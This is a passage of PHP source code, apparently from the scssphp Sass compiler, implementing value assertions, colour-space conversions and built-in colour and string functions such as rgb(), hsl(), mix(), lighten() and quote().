                    $value = $reduced;
                }
            }

            if ($value instanceof Number) {
                if ($value->unitless()) {
                    $num = $value->getDimension();
                } elseif ($value->hasUnit('%')) {
                    $num = $max * $value->getDimension() / 100;
                } else {
                    throw $this->error('Expected %s to have no units or "%%".', $value);
                }

                $value = $num;
            } elseif (\is_array($value)) {
                $value = $this->compileValue($value);
            }
        }

        if (is_numeric($value)) {
            if ($isInt) {
                $value = round($value);
            }

            $value = min($max, max($min, $value));

            return $value;
        }

        return $value;
    }

    /**
     * Coerce value to string
     *
     * @param array|Number $value
     *
     * @return array
     */
    protected function coerceString($value)
    {
        if ($value[0] === Type::T_STRING) {
            return $value;
        }

        return [Type::T_STRING, '', [$this->compileValue($value)]];
    }

    /**
     * Assert value is a string
     *
     * This method deals with internal implementation details of the value
     * representation where unquoted strings can sometimes be stored under
     * other types.
     * The returned value is always using the T_STRING type.
     *
     * @api
     *
     * @param array|Number $value
     * @param string|null  $varName
     *
     * @return array
     *
     * @throws SassScriptException
     */
    public function assertString($value, $varName = null)
    {
        // case of url(...) parsed a a function
        if ($value[0] === Type::T_FUNCTION) {
            $value = $this->coerceString($value);
        }

        if (! \in_array($value[0], [Type::T_STRING, Type::T_KEYWORD])) {
            $value = $this->compileValue($value);
            throw SassScriptException::forArgument("$value is not a string.", $varName);
        }

        return $this->coerceString($value);
    }

    /**
     * Coerce value to a percentage
     *
     * @param array|Number $value
     *
     * @return integer|float
     */
    protected function coercePercent($value)
    {
        if ($value instanceof Number) {
            if ($value->hasUnit('%')) {
                return $value->getDimension() / 100;
            }

            return $value->getDimension();
        }

        return 0;
    }

    /**
     * Assert value is a map
     *
     * @api
     *
     * @param array|Number $value
     * @param string|null  $varName
     *
     * @return array
     *
     * @throws SassScriptException
     */
    public function assertMap($value, $varName = null)
    {
        $value = $this->coerceMap($value);

        if ($value[0] !== Type::T_MAP) {
            $value = $this->compileValue($value);

            throw SassScriptException::forArgument("$value is not a map.", $varName);
        }

        return $value;
    }

    /**
     * Assert value is a list
     *
     * @api
     *
     * @param array|Number $value
     *
     * @return array
     *
     * @throws \Exception
     */
    public function assertList($value)
    {
        if ($value[0] !== Type::T_LIST) {
            throw $this->error('expecting list, %s received', $value[0]);
        }

        return $value;
    }

    /**
     * Gets the keywords of an argument list.
     *
     * Keys in the returned array are normalized names (underscores are replaced with dashes)
     * without the leading `$`.
     * Calling this helper with anything that an argument list received for a rest argument
     * of the function argument declaration is not supported.
     *
     * @param array|Number $value
     *
     * @return array<string, array|Number>
     */
    public function getArgumentListKeywords($value)
    {
        if ($value[0] !== Type::T_LIST || !isset($value[3]) || !\is_array($value[3])) {
            throw new \InvalidArgumentException('The argument is not a sass argument list.');
        }

        return $value[3];
    }

    /**
     * Assert value is a color
     *
     * @api
     *
     * @param array|Number $value
     * @param string|null  $varName
     *
     * @return array
     *
     * @throws SassScriptException
     */
    public function assertColor($value, $varName = null)
    {
        if ($color = $this->coerceColor($value)) {
            return $color;
        }

        $value = $this->compileValue($value);

        throw SassScriptException::forArgument("$value is not a color.", $varName);
    }

    /**
     * Assert value is a number
     *
     * @api
     *
     * @param array|Number $value
     * @param string|null  $varName
     *
     * @return Number
     *
     * @throws SassScriptException
     */
    public function assertNumber($value, $varName = null)
    {
        if (!$value instanceof Number) {
            $value = $this->compileValue($value);
            throw SassScriptException::forArgument("$value is not a number.", $varName);
        }

        return $value;
    }

    /**
     * Assert value is a integer
     *
     * @api
     *
     * @param array|Number $value
     * @param string|null  $varName
     *
     * @return integer
     *
     * @throws SassScriptException
     */
    public function assertInteger($value, $varName = null)
    {
        $value = $this->assertNumber($value, $varName)->getDimension();
        if (round($value - \intval($value), Number::PRECISION) > 0) {
            throw SassScriptException::forArgument("$value is not an integer.", $varName);
        }

        return intval($value);
    }

    /**
     * Extract the  ... / alpha on the last argument of channel arg
     * in color functions
     *
     * @param array $args
     * @return array
     */
    private function extractSlashAlphaInColorFunction($args)
    {
        $last = end($args);
        if (\count($args) === 3 && $last[0] === Type::T_EXPRESSION && $last[1] === '/') {
            array_pop($args);
            $args[] = $last[2];
            $args[] = $last[3];
        }
        return $args;
    }


    /**
     * Make sure a color's components don't go out of bounds
     *
     * @param array $c
     *
     * @return array
     */
    protected function fixColor($c)
    {
        foreach ([1, 2, 3] as $i) {
            if ($c[$i] < 0) {
                $c[$i] = 0;
            }

            if ($c[$i] > 255) {
                $c[$i] = 255;
            }

            if (!\is_int($c[$i])) {
                $c[$i] = round($c[$i]);
            }
        }

        return $c;
    }

    /**
     * Convert RGB to HSL
     *
     * @internal
     *
     * @param integer $red
     * @param integer $green
     * @param integer $blue
     *
     * @return array
     */
    public function toHSL($red, $green, $blue)
    {
        $min = min($red, $green, $blue);
        $max = max($red, $green, $blue);

        $l = $min + $max;
        $d = $max - $min;

        if ((int) $d === 0) {
            $h = $s = 0;
        } else {
            if ($l < 255) {
                $s = $d / $l;
            } else {
                $s = $d / (510 - $l);
            }

            if ($red == $max) {
                $h = 60 * ($green - $blue) / $d;
            } elseif ($green == $max) {
                $h = 60 * ($blue - $red) / $d + 120;
            } elseif ($blue == $max) {
                $h = 60 * ($red - $green) / $d + 240;
            }
        }

        return [Type::T_HSL, fmod($h, 360), $s * 100, $l / 5.1];
    }

    /**
     * Hue to RGB helper
     *
     * @param float $m1
     * @param float $m2
     * @param float $h
     *
     * @return float
     */
    protected function hueToRGB($m1, $m2, $h)
    {
        if ($h < 0) {
            $h += 1;
        } elseif ($h > 1) {
            $h -= 1;
        }

        if ($h * 6 < 1) {
            return $m1 + ($m2 - $m1) * $h * 6;
        }

        if ($h * 2 < 1) {
            return $m2;
        }

        if ($h * 3 < 2) {
            return $m1 + ($m2 - $m1) * (2 / 3 - $h) * 6;
        }

        return $m1;
    }

    /**
     * Convert HSL to RGB
     *
     * @internal
     *
     * @param int|float $hue        H from 0 to 360
     * @param int|float $saturation S from 0 to 100
     * @param int|float $lightness  L from 0 to 100
     *
     * @return array
     */
    public function toRGB($hue, $saturation, $lightness)
    {
        if ($hue < 0) {
            $hue += 360;
        }

        $h = $hue / 360;
        $s = min(100, max(0, $saturation)) / 100;
        $l = min(100, max(0, $lightness)) / 100;

        $m2 = $l <= 0.5 ? $l * ($s + 1) : $l + $s - $l * $s;
        $m1 = $l * 2 - $m2;

        $r = $this->hueToRGB($m1, $m2, $h + 1 / 3) * 255;
        $g = $this->hueToRGB($m1, $m2, $h) * 255;
        $b = $this->hueToRGB($m1, $m2, $h - 1 / 3) * 255;

        $out = [Type::T_COLOR, $r, $g, $b];

        return $out;
    }

    /**
     * Convert HWB to RGB
     * https://www.w3.org/TR/css-color-4/#hwb-to-rgb
     *
     * @api
     *
     * @param integer $hue        H from 0 to 360
     * @param integer $whiteness  W from 0 to 100
     * @param integer $blackness  B from 0 to 100
     *
     * @return array
     */
    private function HWBtoRGB($hue, $whiteness, $blackness)
    {
        $w = min(100, max(0, $whiteness)) / 100;
        $b = min(100, max(0, $blackness)) / 100;

        $sum = $w + $b;
        if ($sum > 1.0) {
            $w = $w / $sum;
            $b = $b / $sum;
        }
        $b = min(1.0 - $w, $b);

        $rgb = $this->toRGB($hue, 100, 50);
        for($i = 1; $i < 4; $i++) {
          $rgb[$i] *= (1.0 - $w - $b);
          $rgb[$i] = round($rgb[$i] + 255 * $w + 0.0001);
        }

        return $rgb;
    }

    /**
     * Convert RGB to HWB
     *
     * @api
     *
     * @param integer $red
     * @param integer $green
     * @param integer $blue
     *
     * @return array
     */
    private function RGBtoHWB($red, $green, $blue)
    {
        $min = min($red, $green, $blue);
        $max = max($red, $green, $blue);

        $d = $max - $min;

        if ((int) $d === 0) {
            $h = 0;
        } else {

            if ($red == $max) {
                $h = 60 * ($green - $blue) / $d;
            } elseif ($green == $max) {
                $h = 60 * ($blue - $red) / $d + 120;
            } elseif ($blue == $max) {
                $h = 60 * ($red - $green) / $d + 240;
            }
        }

        return [Type::T_HWB, fmod($h, 360), $min / 255 * 100, 100 - $max / 255 *100];
    }


    // Built in functions

    protected static $libCall = ['function', 'args...'];
    protected function libCall($args)
    {
        $functionReference = $args[0];

        if (in_array($functionReference[0], [Type::T_STRING, Type::T_KEYWORD])) {
            $name = $this->compileStringContent($this->coerceString($functionReference));
            $warning = "Passing a string to call() is deprecated and will be illegal\n"
                . "in Sass 4.0. Use call(function-reference($name)) instead.";
            Warn::deprecation($warning);
            $functionReference = $this->libGetFunction([$this->assertString($functionReference, 'function')]);
        }

        if ($functionReference === static::$null) {
            return static::$null;
        }

        if (! in_array($functionReference[0], [Type::T_FUNCTION_REFERENCE, Type::T_FUNCTION])) {
            throw $this->error('Function reference expected, got ' . $functionReference[0]);
        }

        $callArgs = [
            [null, $args[1], true]
        ];

        return $this->reduce([Type::T_FUNCTION_CALL, $functionReference, $callArgs]);
    }


    protected static $libGetFunction = [
        ['name'],
        ['name', 'css']
    ];
    protected function libGetFunction($args)
    {
        $name = $this->compileStringContent($this->assertString(array_shift($args), 'name'));
        $isCss = false;

        if (count($args)) {
            $isCss = array_shift($args);
            $isCss = (($isCss === static::$true) ? true : false);
        }

        if ($isCss) {
            return [Type::T_FUNCTION, $name, [Type::T_LIST, ',', []]];
        }

        return $this->getFunctionReference($name, true);
    }

    protected static $libIf = ['condition', 'if-true', 'if-false:'];
    protected function libIf($args)
    {
        list($cond, $t, $f) = $args;

        if (! $this->isTruthy($this->reduce($cond, true))) {
            return $this->reduce($f, true);
        }

        return $this->reduce($t, true);
    }

    protected static $libIndex = ['list', 'value'];
    protected function libIndex($args)
    {
        list($list, $value) = $args;

        if (
            $list[0] === Type::T_MAP ||
            $list[0] === Type::T_STRING ||
            $list[0] === Type::T_KEYWORD ||
            $list[0] === Type::T_INTERPOLATE
        ) {
            $list = $this->coerceList($list, ' ');
        }

        if ($list[0] !== Type::T_LIST) {
            return static::$null;
        }

        // Numbers are represented with value objects, for which the PHP equality operator does not
        // match the Sass rules (and we cannot overload it). As they are the only type of values
        // represented with a value object for now, they require a special case.
        if ($value instanceof Number) {
            $key = 0;
            foreach ($list[2] as $item) {
                $key++;
                $itemValue = $this->normalizeValue($item);

                if ($itemValue instanceof Number && $value->equals($itemValue)) {
                    return new Number($key, '');
                }
            }
            return static::$null;
        }

        $values = [];


        foreach ($list[2] as $item) {
            $values[] = $this->normalizeValue($item);
        }

        $key = array_search($this->normalizeValue($value), $values);

        return false === $key ? static::$null : new Number($key + 1, '');
    }

    protected static $libRgb = [
        ['color'],
        ['color', 'alpha'],
        ['channels'],
        ['red', 'green', 'blue'],
        ['red', 'green', 'blue', 'alpha'] ];
    protected function libRgb($args, $kwargs, $funcName = 'rgb')
    {
        switch (\count($args)) {
            case 1:
                if (! $color = $this->coerceColor($args[0], true)) {
                    $color = [Type::T_STRING, '', [$funcName . '(', $args[0], ')']];
                }
                break;

            case 3:
                $color = [Type::T_COLOR, $args[0], $args[1], $args[2]];

                if (! $color = $this->coerceColor($color)) {
                    $color = [Type::T_STRING, '', [$funcName . '(', $args[0], ', ', $args[1], ', ', $args[2], ')']];
                }

                return $color;

            case 2:
                if ($color = $this->coerceColor($args[0], true)) {
                    $alpha = $this->compileRGBAValue($args[1], true);

                    if (is_numeric($alpha)) {
                        $color[4] = $alpha;
                    } else {
                        $color = [Type::T_STRING, '',
                            [$funcName . '(', $color[1], ', ', $color[2], ', ', $color[3], ', ', $alpha, ')']];
                    }
                } else {
                    $color = [Type::T_STRING, '', [$funcName . '(', $args[0], ')']];
                }
                break;

            case 4:
            default:
                $color = [Type::T_COLOR, $args[0], $args[1], $args[2], $args[3]];

                if (! $color = $this->coerceColor($color)) {
                    $color = [Type::T_STRING, '',
                        [$funcName . '(', $args[0], ', ', $args[1], ', ', $args[2], ', ', $args[3], ')']];
                }
                break;
        }

        return $color;
    }

    protected static $libRgba = [
        ['color'],
        ['color', 'alpha'],
        ['channels'],
        ['red', 'green', 'blue'],
        ['red', 'green', 'blue', 'alpha'] ];
    protected function libRgba($args, $kwargs)
    {
        return $this->libRgb($args, $kwargs, 'rgba');
    }

    /**
     * Helper function for adjust_color, change_color, and scale_color
     *
     * @param array<array|Number> $args
     * @param string $operation
     * @param callable $fn
     *
     * @return array
     *
     * @phpstan-param callable(float|int, float|int|null, float|int): (float|int) $fn
     */
    protected function alterColor(array $args, $operation, $fn)
    {
        $color = $this->assertColor($args[0], 'color');

        if ($args[1][2]) {
            throw new SassScriptException('Only one positional argument is allowed. All other arguments must be passed by name.');
        }

        $kwargs = $this->getArgumentListKeywords($args[1]);

        $scale = $operation === 'scale';
        $change = $operation === 'change';

        /**
         * @param string $name
         * @param float|int $max
         * @param bool $checkPercent
         * @param bool $assertPercent
         *
         * @return float|int|null
         */
        $getParam = function ($name, $max, $checkPercent = false, $assertPercent = false) use (&$kwargs, $scale, $change) {
            if (!isset($kwargs[$name])) {
                return null;
            }

            $number = $this->assertNumber($kwargs[$name], $name);
            unset($kwargs[$name]);

            if (!$scale && $checkPercent) {
                if (!$number->hasUnit('%')) {
                    $warning = $this->error("{$name} Passing a number `$number` without unit % is deprecated.");
                    $this->logger->warn($warning->getMessage(), true);
                }
            }

            if ($scale || $assertPercent) {
                $number->assertUnit('%', $name);
            }

            if ($scale) {
                $max = 100;
            }

            return $number->valueInRange($change ? 0 : -$max, $max, $name);
        };

        $alpha = $getParam('alpha', 1);
        $red = $getParam('red', 255);
        $green = $getParam('green', 255);
        $blue = $getParam('blue', 255);

        if ($scale || !isset($kwargs['hue'])) {
            $hue = null;
        } else {
            $hueNumber = $this->assertNumber($kwargs['hue'], 'hue');
            unset($kwargs['hue']);
            $hue = $hueNumber->getDimension();
        }
        $saturation = $getParam('saturation', 100, true);
        $lightness = $getParam('lightness', 100, true);
        $whiteness = $getParam('whiteness', 100, false, true);
        $blackness = $getParam('blackness', 100, false, true);

        if (!empty($kwargs)) {
            $unknownNames = array_keys($kwargs);
            $lastName = array_pop($unknownNames);
            $message = sprintf(
                'No argument%s named $%s%s.',
                $unknownNames ? 's' : '',
                $unknownNames ? implode(', $', $unknownNames) . ' or $' : '',
                $lastName
            );
            throw new SassScriptException($message);
        }

        $hasRgb = $red !== null || $green !== null || $blue !== null;
        $hasSL = $saturation !== null || $lightness !== null;
        $hasWB = $whiteness !== null || $blackness !== null;
        $found = false;

        if ($hasRgb && ($hasSL || $hasWB || $hue !== null)) {
            throw new SassScriptException(sprintf('RGB parameters may not be passed along with %s parameters.', $hasWB ? 'HWB' : 'HSL'));
        }

        if ($hasWB && $hasSL) {
            throw new SassScriptException('HSL parameters may not be passed along with HWB parameters.');
        }

        if ($hasRgb) {
            $color[1] = round($fn($color[1], $red, 255));
            $color[2] = round($fn($color[2], $green, 255));
            $color[3] = round($fn($color[3], $blue, 255));
        } elseif ($hasWB) {
            $hwb = $this->RGBtoHWB($color[1], $color[2], $color[3]);
            if ($hue !== null) {
                $hwb[1] = $change ? $hue : $hwb[1] + $hue;
            }
            $hwb[2] = $fn($hwb[2], $whiteness, 100);
            $hwb[3] = $fn($hwb[3], $blackness, 100);

            $rgb = $this->HWBtoRGB($hwb[1], $hwb[2], $hwb[3]);

            if (isset($color[4])) {
                $rgb[4] = $color[4];
            }

            $color = $rgb;
        } elseif ($hue !== null || $hasSL) {
            $hsl = $this->toHSL($color[1], $color[2], $color[3]);

            if ($hue !== null) {
                $hsl[1] = $change ? $hue : $hsl[1] + $hue;
            }
            $hsl[2] = $fn($hsl[2], $saturation, 100);
            $hsl[3] = $fn($hsl[3], $lightness, 100);

            $rgb = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);

            if (isset($color[4])) {
                $rgb[4] = $color[4];
            }

            $color = $rgb;
        }

        if ($alpha !== null) {
            $existingAlpha = isset($color[4]) ? $color[4] : 1;
            $color[4] = $fn($existingAlpha, $alpha, 1);
        }

        return $color;
    }

    protected static $libAdjustColor = ['color', 'kwargs...'];
    protected function libAdjustColor($args)
    {
        return $this->alterColor($args, 'adjust', function ($base, $alter, $max) {
            if ($alter === null) {
                return $base;
            }

            $new = $base + $alter;

            if ($new < 0) {
                return 0;
            }

            if ($new > $max) {
                return $max;
            }

            return $new;
        });
    }

    protected static $libChangeColor = ['color', 'kwargs...'];
    protected function libChangeColor($args)
    {
        return $this->alterColor($args,'change', function ($base, $alter, $max) {
            if ($alter === null) {
                return $base;
            }

            return $alter;
        });
    }

    protected static $libScaleColor = ['color', 'kwargs...'];
    protected function libScaleColor($args)
    {
        return $this->alterColor($args, 'scale', function ($base, $scale, $max) {
            if ($scale === null) {
                return $base;
            }

            $scale = $scale / 100;

            if ($scale < 0) {
                return $base * $scale + $base;
            }

            return ($max - $base) * $scale + $base;
        });
    }

    protected static $libIeHexStr = ['color'];
    protected function libIeHexStr($args)
    {
        $color = $this->coerceColor($args[0]);

        if (\is_null($color)) {
            throw $this->error('Error: argument `$color` of `ie-hex-str($color)` must be a color');
        }

        $color[4] = isset($color[4]) ? round(255 * $color[4]) : 255;

        return [Type::T_STRING, '', [sprintf('#%02X%02X%02X%02X', $color[4], $color[1], $color[2], $color[3])]];
    }

    protected static $libRed = ['color'];
    protected function libRed($args)
    {
        $color = $this->coerceColor($args[0]);

        if (\is_null($color)) {
            throw $this->error('Error: argument `$color` of `red($color)` must be a color');
        }

        return new Number((int) $color[1], '');
    }

    protected static $libGreen = ['color'];
    protected function libGreen($args)
    {
        $color = $this->coerceColor($args[0]);

        if (\is_null($color)) {
            throw $this->error('Error: argument `$color` of `green($color)` must be a color');
        }

        return new Number((int) $color[2], '');
    }

    protected static $libBlue = ['color'];
    protected function libBlue($args)
    {
        $color = $this->coerceColor($args[0]);

        if (\is_null($color)) {
            throw $this->error('Error: argument `$color` of `blue($color)` must be a color');
        }

        return new Number((int) $color[3], '');
    }

    protected static $libAlpha = ['color'];
    protected function libAlpha($args)
    {
        if ($color = $this->coerceColor($args[0])) {
            return new Number(isset($color[4]) ? $color[4] : 1, '');
        }

        // this might be the IE function, so return value unchanged
        return null;
    }

    protected static $libOpacity = ['color'];
    protected function libOpacity($args)
    {
        $value = $args[0];

        if ($value instanceof Number) {
            return null;
        }

        return $this->libAlpha($args);
    }

    // mix two colors
    protected static $libMix = [
        ['color1', 'color2', 'weight:0.5'],
        ['color-1', 'color-2', 'weight:0.5']
        ];
    protected function libMix($args)
    {
        list($first, $second, $weight) = $args;

        $first = $this->assertColor($first, 'color1');
        $second = $this->assertColor($second, 'color2');
        $weight = $this->coercePercent($this->assertNumber($weight, 'weight'));

        $firstAlpha = isset($first[4]) ? $first[4] : 1;
        $secondAlpha = isset($second[4]) ? $second[4] : 1;

        $w = $weight * 2 - 1;
        $a = $firstAlpha - $secondAlpha;

        $w1 = (($w * $a === -1 ? $w : ($w + $a) / (1 + $w * $a)) + 1) / 2.0;
        $w2 = 1.0 - $w1;

        $new = [Type::T_COLOR,
            $w1 * $first[1] + $w2 * $second[1],
            $w1 * $first[2] + $w2 * $second[2],
            $w1 * $first[3] + $w2 * $second[3],
        ];

        if ($firstAlpha != 1.0 || $secondAlpha != 1.0) {
            $new[] = $firstAlpha * $weight + $secondAlpha * (1 - $weight);
        }

        return $this->fixColor($new);
    }

    protected static $libHsl = [
        ['channels'],
        ['hue', 'saturation'],
        ['hue', 'saturation', 'lightness'],
        ['hue', 'saturation', 'lightness', 'alpha'] ];
    protected function libHsl($args, $kwargs, $funcName = 'hsl')
    {
        $args_to_check = $args;

        if (\count($args) == 1) {
            if ($args[0][0] !== Type::T_LIST || \count($args[0][2]) < 3 || \count($args[0][2]) > 4) {
                return [Type::T_STRING, '', [$funcName . '(', $args[0], ')']];
            }

            $args = $args[0][2];
            $args_to_check = $kwargs['channels'][2];
        }

        if (\count($args) === 2) {
            // if var() is used as an argument, return as a css function
            foreach ($args as $arg) {
                if ($arg[0] === Type::T_FUNCTION && in_array($arg[1], ['var'])) {
                    return null;
                }
            }

            throw new SassScriptException('Missing argument $lightness.');
        }

        foreach ($kwargs as $k => $arg) {
            if (in_array($arg[0], [Type::T_FUNCTION_CALL, Type::T_FUNCTION]) && in_array($arg[1], ['min', 'max'])) {
                return null;
            }
        }

        foreach ($args_to_check as $k => $arg) {
            if (in_array($arg[0], [Type::T_FUNCTION_CALL, Type::T_FUNCTION]) && in_array($arg[1], ['min', 'max'])) {
                if (count($kwargs) > 1 || ($k >= 2 && count($args) === 4)) {
                    return null;
                }

                $args[$k] = $this->stringifyFncallArgs($arg);
            }

            if (
                $k >= 2 && count($args) === 4 &&
                in_array($arg[0], [Type::T_FUNCTION_CALL, Type::T_FUNCTION]) &&
                in_array($arg[1], ['calc','env'])
            ) {
                return null;
            }
        }

        $hue = $this->reduce($args[0]);
        $saturation = $this->reduce($args[1]);
        $lightness = $this->reduce($args[2]);
        $alpha = null;

        if (\count($args) === 4) {
            $alpha = $this->compileColorPartValue($args[3], 0, 100, false);

            if (!$hue instanceof Number || !$saturation instanceof Number || ! $lightness instanceof Number || ! is_numeric($alpha)) {
                return [Type::T_STRING, '',
                    [$funcName . '(', $args[0], ', ', $args[1], ', ', $args[2], ', ', $args[3], ')']];
            }
        } else {
            if (!$hue instanceof Number || !$saturation instanceof Number || ! $lightness instanceof Number) {
                return [Type::T_STRING, '', [$funcName . '(', $args[0], ', ', $args[1], ', ', $args[2], ')']];
            }
        }

        $hueValue = $hue->getDimension() % 360;

        while ($hueValue < 0) {
            $hueValue += 360;
        }

        $color = $this->toRGB($hueValue, max(0, min($saturation->getDimension(), 100)), max(0, min($lightness->getDimension(), 100)));

        if (! \is_null($alpha)) {
            $color[4] = $alpha;
        }

        return $color;
    }

    protected static $libHsla = [
            ['channels'],
            ['hue', 'saturation'],
            ['hue', 'saturation', 'lightness'],
            ['hue', 'saturation', 'lightness', 'alpha']];
    protected function libHsla($args, $kwargs)
    {
        return $this->libHsl($args, $kwargs, 'hsla');
    }

    protected static $libHue = ['color'];
    protected function libHue($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Number($hsl[1], 'deg');
    }

    protected static $libSaturation = ['color'];
    protected function libSaturation($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Number($hsl[2], '%');
    }

    protected static $libLightness = ['color'];
    protected function libLightness($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);

        return new Number($hsl[3], '%');
    }

    /*
     * Todo : a integrer dans le futur module color
    protected static $libHwb = [
        ['channels'],
        ['hue', 'whiteness', 'blackness'],
        ['hue', 'whiteness', 'blackness', 'alpha'] ];
    protected function libHwb($args, $kwargs, $funcName = 'hwb')
    {
        $args_to_check = $args;

        if (\count($args) == 1) {
            if ($args[0][0] !== Type::T_LIST) {
                throw $this->error("Missing elements \$whiteness and \$blackness");
            }

            if (\trim($args[0][1])) {
                throw $this->error("\$channels must be a space-separated list.");
            }

            if (! empty($args[0]['enclosing'])) {
                throw $this->error("\$channels must be an unbracketed list.");
            }

            $args = $args[0][2];
            if (\count($args) > 3) {
                throw $this->error("hwb() : Only 3 elements are allowed but ". \count($args) . "were passed");
            }

            $args_to_check = $this->extractSlashAlphaInColorFunction($kwargs['channels'][2]);
            if (\count($args_to_check) !== \count($kwargs['channels'][2])) {
                $args = $args_to_check;
            }
        }

        if (\count($args_to_check) < 2) {
            throw $this->error("Missing elements \$whiteness and \$blackness");
        }
        if (\count($args_to_check) < 3) {
            throw $this->error("Missing element \$blackness");
        }
        if (\count($args_to_check) > 4) {
            throw $this->error("hwb() : Only 4 elements are allowed but ". \count($args) . "were passed");
        }

        foreach ($kwargs as $k => $arg) {
            if (in_array($arg[0], [Type::T_FUNCTION_CALL]) && in_array($arg[1], ['min', 'max'])) {
                return null;
            }
        }

        foreach ($args_to_check as $k => $arg) {
            if (in_array($arg[0], [Type::T_FUNCTION_CALL]) && in_array($arg[1], ['min', 'max'])) {
                if (count($kwargs) > 1 || ($k >= 2 && count($args) === 4)) {
                    return null;
                }

                $args[$k] = $this->stringifyFncallArgs($arg);
            }

            if (
                $k >= 2 && count($args) === 4 &&
                in_array($arg[0], [Type::T_FUNCTION_CALL, Type::T_FUNCTION]) &&
                in_array($arg[1], ['calc','env'])
            ) {
                return null;
            }
        }

        $hue = $this->reduce($args[0]);
        $whiteness = $this->reduce($args[1]);
        $blackness = $this->reduce($args[2]);
        $alpha = null;

        if (\count($args) === 4) {
            $alpha = $this->compileColorPartValue($args[3], 0, 1, false);

            if (! \is_numeric($alpha)) {
                $val = $this->compileValue($args[3]);
                throw $this->error("\$alpha: $val is not a number");
            }
        }

        $this->assertNumber($hue, 'hue');
        $this->assertUnit($whiteness, ['%'], 'whiteness');
        $this->assertUnit($blackness, ['%'], 'blackness');

        $this->assertRange($whiteness, 0, 100, "0% and 100%", "whiteness");
        $this->assertRange($blackness, 0, 100, "0% and 100%", "blackness");

        $w = $whiteness->getDimension();
        $b = $blackness->getDimension();

        $hueValue = $hue->getDimension() % 360;

        while ($hueValue < 0) {
            $hueValue += 360;
        }

        $color = $this->HWBtoRGB($hueValue, $w, $b);

        if (! \is_null($alpha)) {
            $color[4] = $alpha;
        }

        return $color;
    }

    protected static $libWhiteness = ['color'];
    protected function libWhiteness($args, $kwargs, $funcName = 'whiteness') {

        $color = $this->assertColor($args[0]);
        $hwb = $this->RGBtoHWB($color[1], $color[2], $color[3]);

        return new Number($hwb[2], '%');
    }

    protected static $libBlackness = ['color'];
    protected function libBlackness($args, $kwargs, $funcName = 'blackness') {

        $color = $this->assertColor($args[0]);
        $hwb = $this->RGBtoHWB($color[1], $color[2], $color[3]);

        return new Number($hwb[3], '%');
    }
    */

    protected function adjustHsl($color, $idx, $amount)
    {
        $hsl = $this->toHSL($color[1], $color[2], $color[3]);
        $hsl[$idx] += $amount;
        $out = $this->toRGB($hsl[1], $hsl[2], $hsl[3]);

        if (isset($color[4])) {
            $out[4] = $color[4];
        }

        return $out;
    }

    protected static $libAdjustHue = ['color', 'degrees'];
    protected function libAdjustHue($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $degrees = $this->assertNumber($args[1], 'degrees')->getDimension();

        return $this->adjustHsl($color, 1, $degrees);
    }

    protected static $libLighten = ['color', 'amount'];
    protected function libLighten($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $amount = Util::checkRange('amount', new Range(0, 100), $args[1], '%');

        return $this->adjustHsl($color, 3, $amount);
    }

    protected static $libDarken = ['color', 'amount'];
    protected function libDarken($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $amount = Util::checkRange('amount', new Range(0, 100), $args[1], '%');

        return $this->adjustHsl($color, 3, -$amount);
    }

    protected static $libSaturate = [['color', 'amount'], ['amount']];
    protected function libSaturate($args)
    {
        $value = $args[0];

        if (count($args) === 1) {
            $this->assertNumber($args[0], 'amount');

            return null;
        }

        $color = $this->assertColor($value, 'color');
        $amount = 100 * $this->coercePercent($this->assertNumber($args[1], 'amount'));

        return $this->adjustHsl($color, 2, $amount);
    }

    protected static $libDesaturate = ['color', 'amount'];
    protected function libDesaturate($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $amount = 100 * $this->coercePercent($this->assertNumber($args[1], 'amount'));

        return $this->adjustHsl($color, 2, -$amount);
    }

    protected static $libGrayscale = ['color'];
    protected function libGrayscale($args)
    {
        $value = $args[0];

        if ($value instanceof Number) {
            return null;
        }

        return $this->adjustHsl($this->assertColor($value, 'color'), 2, -100);
    }

    protected static $libComplement = ['color'];
    protected function libComplement($args)
    {
        return $this->adjustHsl($this->assertColor($args[0], 'color'), 1, 180);
    }

    protected static $libInvert = ['color', 'weight:1'];
    protected function libInvert($args)
    {
        $value = $args[0];

        if ($value instanceof Number) {
            return null;
        }

        $weight = $this->coercePercent($this->assertNumber($args[1], 'weight'));

        $color = $this->assertColor($value, 'color');
        $inverted = $color;
        $inverted[1] = 255 - $inverted[1];
        $inverted[2] = 255 - $inverted[2];
        $inverted[3] = 255 - $inverted[3];

        if ($weight < 1) {
            return $this->libMix([$inverted, $color, new Number($weight, '')]);
        }

        return $inverted;
    }

    // increases opacity by amount
    protected static $libOpacify = ['color', 'amount'];
    protected function libOpacify($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $amount = $this->coercePercent($this->assertNumber($args[1], 'amount'));

        $color[4] = (isset($color[4]) ? $color[4] : 1) + $amount;
        $color[4] = min(1, max(0, $color[4]));

        return $color;
    }

    protected static $libFadeIn = ['color', 'amount'];
    protected function libFadeIn($args)
    {
        return $this->libOpacify($args);
    }

    // decreases opacity by amount
    protected static $libTransparentize = ['color', 'amount'];
    protected function libTransparentize($args)
    {
        $color = $this->assertColor($args[0], 'color');
        $amount = $this->coercePercent($this->assertNumber($args[1], 'amount'));

        $color[4] = (isset($color[4]) ? $color[4] : 1) - $amount;
        $color[4] = min(1, max(0, $color[4]));

        return $color;
    }

    protected static $libFadeOut = ['color', 'amount'];
    protected function libFadeOut($args)
    {
        return $this->libTransparentize($args);
    }

    protected static $libUnquote = ['string'];
    protected function libUnquote($args)
    {
        try {
            $str = $this->assertString($args[0], 'string');
        } catch (SassScriptException $e) {
            $value = $this->compileValue($args[0]);
            $fname = $this->getPrettyPath($this->sourceNames[$this->sourceIndex]);
            $line  = $this->sourceLine;

            $message = "Passing $value, a non-string value, to unquote()
will be an error in future versions of Sass.\n         on line $line of $fname";

            $this->logger->warn($message, true);

            return $args[0];
        }

        $str[1] = '';

        return $str;
    }

    protected static $libQuote = ['string'];
    protected function libQuote($args)
    {
        $value = $this->assertString($args[0], 'string');

        $value[1] = '"';

        return $value;
    }

    protected static $libPercentage = ['number'];
    protected function libPercentage($args)
    {
        $num = $this->assertNumber($args[0], 'number');
        $num->assertNoUnits('number');

        return new Number($num->getDimension() * 100, '%');
